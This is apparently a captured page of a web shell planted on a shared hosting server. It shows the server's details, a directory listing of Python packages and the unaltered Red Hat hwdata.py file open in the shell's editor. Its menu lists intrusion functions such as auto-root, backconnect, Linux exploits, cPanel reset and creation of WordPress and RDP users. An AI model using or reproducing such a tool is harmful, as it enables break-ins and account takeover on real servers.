Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
lib /
python3.6 /
site-packages /
[ HOME SHELL ]
Name
Size
Permission
Action
OpenSSL
[ DIR ]
drwxr-xr-x
PySocks-1.6.8-py3.6.egg-info
[ DIR ]
drwxr-xr-x
__pycache__
[ DIR ]
drwxr-xr-x
chardet
[ DIR ]
drwxr-xr-x
chardet-3.0.4-py3.6.egg-info
[ DIR ]
drwxr-xr-x
dateutil
[ DIR ]
drwxr-xr-x
decorator-4.2.1-py3.6.egg-info
[ DIR ]
drwxr-xr-x
dnf
[ DIR ]
drwxr-xr-x
dnf-plugins
[ DIR ]
drwxr-xr-x
dnfpluginscore
[ DIR ]
drwxr-xr-x
dns
[ DIR ]
drwxr-xr-x
dnspython-1.15.0-py3.6.egg-inf...
[ DIR ]
drwxr-xr-x
firewall
[ DIR ]
drwxr-xr-x
html2text
[ DIR ]
drwxr-xr-x
html2text-2019.9.26-py3.6.egg-...
[ DIR ]
drwxr-xr-x
idna
[ DIR ]
drwxr-xr-x
idna-2.5-py3.6.egg-info
[ DIR ]
drwxr-xr-x
iotop
[ DIR ]
drwxr-xr-x
isc
[ DIR ]
drwxr-xr-x
nftables
[ DIR ]
drwxr-xr-x
pip
[ DIR ]
drwxr-xr-x
pip-9.0.3.dist-info
[ DIR ]
drwxr-xr-x
pkg_resources
[ DIR ]
drwxr-xr-x
ply
[ DIR ]
drwxr-xr-x
ply-3.9-py3.6.egg-info
[ DIR ]
drwxr-xr-x
procfs
[ DIR ]
drwxr-xr-x
pyOpenSSL-19.0.0-py3.6.egg-inf...
[ DIR ]
drwxr-xr-x
pycparser
[ DIR ]
drwxr-xr-x
pycparser-2.14-py3.6.egg-info
[ DIR ]
drwxr-xr-x
pyparsing-2.1.10.dist-info
[ DIR ]
drwxr-xr-x
python_dateutil-2.6.1-py3.6.eg...
[ DIR ]
drwxr-xr-x
python_linux_procfs-0.7.3-py3....
[ DIR ]
drwxr-xr-x
pyudev
[ DIR ]
drwxr-xr-x
pyudev-0.21.0-py3.6.egg-info
[ DIR ]
drwxr-xr-x
requests
[ DIR ]
drwxr-xr-x
requests-2.20.0-py3.6.egg-info
[ DIR ]
drwxr-xr-x
rhn
[ DIR ]
drwxr-xr-x
setuptools
[ DIR ]
drwxr-xr-x
setuptools-39.2.0.dist-info
[ DIR ]
drwxr-xr-x
six-1.11.0.dist-info
[ DIR ]
drwxr-xr-x
slip
[ DIR ]
drwxr-xr-x
syspurpose
[ DIR ]
drwxr-xr-x
syspurpose-1.28.44-py3.6.egg-i...
[ DIR ]
drwxr-xr-x
tuned
[ DIR ]
drwxr-xr-x
up2date_client
[ DIR ]
drwxr-xr-x
urllib3
[ DIR ]
drwxr-xr-x
urllib3-1.24.2-py3.6.egg-info
[ DIR ]
drwxr-xr-x
decorator.py
16.18
KB
-rw-r--r--
easy_install.py
126
B
-rw-r--r--
hwdata.py
7.95
KB
-rw-r--r--
iotop-0.6-py3.6.egg-info
348
B
-rw-r--r--
isc-2.0-py3.6.egg-info
267
B
-rw-r--r--
nftables-0.1-py3.6.egg-info
623
B
-rw-r--r--
pciutils-2.3.6-py3.6.egg-info
242
B
-rw-r--r--
pyparsing.py
224.48
KB
-rw-r--r--
rhnlib-2.8.6-py3.6.egg-info
343
B
-rw-r--r--
six.py
30.16
KB
-rw-r--r--
slip-0.6.4-py3.6.egg-info
196
B
-rw-r--r--
slip.dbus-0.6.4-py3.6.egg-info
269
B
-rw-r--r--
socks.py
31.52
KB
-rw-r--r--
sockshandler.py
2.84
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : hwdata.py
# # Copyright (c) 1999--2012 Red Hat, Inc. # # This software is licensed to you under the GNU General Public License, # version 2 (GPLv2). There is NO WARRANTY for this software, express or # implied, including the implied warranties of MERCHANTABILITY or FITNESS # FOR A PARTICULAR PURPOSE. You should have received a copy of GPLv2 # along with this software; if not, see # http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt. # # Red Hat trademarks are not licensed under GPLv2. No permission is # granted to use or replicate Red Hat trademarks that are incorporated # in this software or its documentation. # import sys inPy3k = sys.version_info[0] == 3 """ Query hwdata database and return decription of vendor and/or device. """ # pylint: disable=misplaced-bare-raise class USB(object): """ Interace to usb.ids from hwdata package """ filename = '/usr/share/hwdata/usb.ids' devices = None def __init__(self, filename=None): """ Load pci.ids from file to internal data structure. parameter 'filename' can specify location of this file """ if filename: self.filename = filename else: self.filename = USB.filename self.cache = 1 if self.cache and not USB.devices: # parse usb.ids USB.devices = {} if inPy3k: f = open(self.filename, encoding='ISO8859-1') else: f = open(self.filename) lineno = 0 vendor = None device = None for line in f.readlines(): lineno += 1 l = line.split() if line.startswith('#'): if line.startswith('# List of known device classes, subclasses and protocols'): break # end of database of devices, rest is protocols, types etc. else: continue elif len(l) == 0: continue elif line.startswith('\t\t'): interface_id = l[0].lower() if len(l) > 2: interface_name = ' '.join(l[1:]) else: interface_name = '' try: USB.devices[vendor][1][device][0][interface_id] = interface_name except TypeError: sys.stderr.write("Unknown line at line {0} in {1}.\n".format(lineno, self.filename)) elif line.startswith('\t'): device = l[0].lower() device_name = ' '.join(l[1:]) USB.devices[vendor][1][device] = [device_name, {}] else: vendor = l[0].lower() vendor_name = ' '.join(l[1:]) if vendor not in USB.devices: USB.devices[vendor] = [vendor_name, {}] else: # this should not happen USB.devices[vendor][0] = vendor_name def get_vendor(self, vendor): """ Return description of vendor. Parameter is two byte code in hexa. If vendor is unknown None is returned. """ vendor = vendor.lower() if self.cache: if vendor in USB.devices: return USB.devices[vendor][0] else: return None else: raise # not implemented yet def get_device(self, vendor, device): """ Return description of device. Parameters are two byte code variables in hexa. If device is unknown None is returned. """ vendor = vendor.lower() device = device.lower() if self.cache: if vendor in USB.devices: if device in USB.devices[vendor][1]: return USB.devices[vendor][1][device][0] else: return None else: return None else: raise # not implemented yet class PCI(object): """ Interace to pci.ids from hwdata package """ filename = '/usr/share/hwdata/pci.ids' devices = None def __init__(self, filename=None): """ Load pci.ids from file to internal data structure. parameter 'filename' can specify location of this file """ if filename: self.filename = filename else: self.filename = PCI.filename self.cache = 1 if self.cache and not PCI.devices: # parse pci.ids PCI.devices = {} if inPy3k: f = open(self.filename, encoding='ISO8859-1') else: f = open(self.filename) vendor = None for line in f.readlines(): l = line.split() if line.startswith('#'): continue elif len(l) == 0: continue elif line.startswith('\t\t'): continue elif line.startswith('\t'): device = l[0].lower() device_name = ' '.join(l[1:]) PCI.devices[vendor][1][device] = device_name else: vendor = l[0].lower() vendor_name = ' '.join(l[1:]) if not vendor in list(PCI.devices.keys()): PCI.devices[vendor] = [vendor_name, {}] else: # this should not happen PCI.devices[vendor][0] = vendor_name def get_vendor(self, vendor): """ Return description of vendor. Parameter is two byte code in hexa. If vendor is unknown None is returned. """ vendor = vendor.lower() if self.cache: if vendor in list(PCI.devices.keys()): return PCI.devices[vendor][0] else: return None else: raise # not implemented yet def get_device(self, vendor, device): """ Return description of device. Parameters are two byte code variables in hexa. If device is unknown None is returned. """ vendor = vendor.lower() device = device.lower() if self.cache: if vendor in list(PCI.devices.keys()): if device in list(PCI.devices[vendor][1].keys()): return PCI.devices[vendor][1][device] else: return None else: return None else: raise # not implemented yet class PNP(object): """ Interace to pnp.ids from hwdata package """ filename = '/usr/share/hwdata/pnp.ids' VENDORS = None def __init__(self, filename=None): """ Load pnp.ids from file to internal data structure. parameter 'filename' can specify location of this file """ if filename: self.filename = filename else: self.filename = PNP.filename self.cache = 1 if self.cache and not PNP.VENDORS: # parse pnp.ids PNP.VENDORS = {} if inPy3k: f = open(self.filename, encoding='ISO8859-1') else: f = open(self.filename) for line in f.readlines(): l = line.split() if line.startswith('#'): continue elif len(l) == 0: continue else: vendor_id = l[0].upper() PNP.VENDORS[vendor_id] = ' '.join(l[1:]) def get_vendor(self, vendor_id): """ Return description of vendor. Parameter is 3 character long id of vendor. If vendor is unknown None is returned. """ vendor_id = vendor_id.upper() if self.cache: if vendor_id in list(PNP.VENDORS.keys()): return PNP.VENDORS[vendor_id] else: return None else: raise # not implemented yet
Close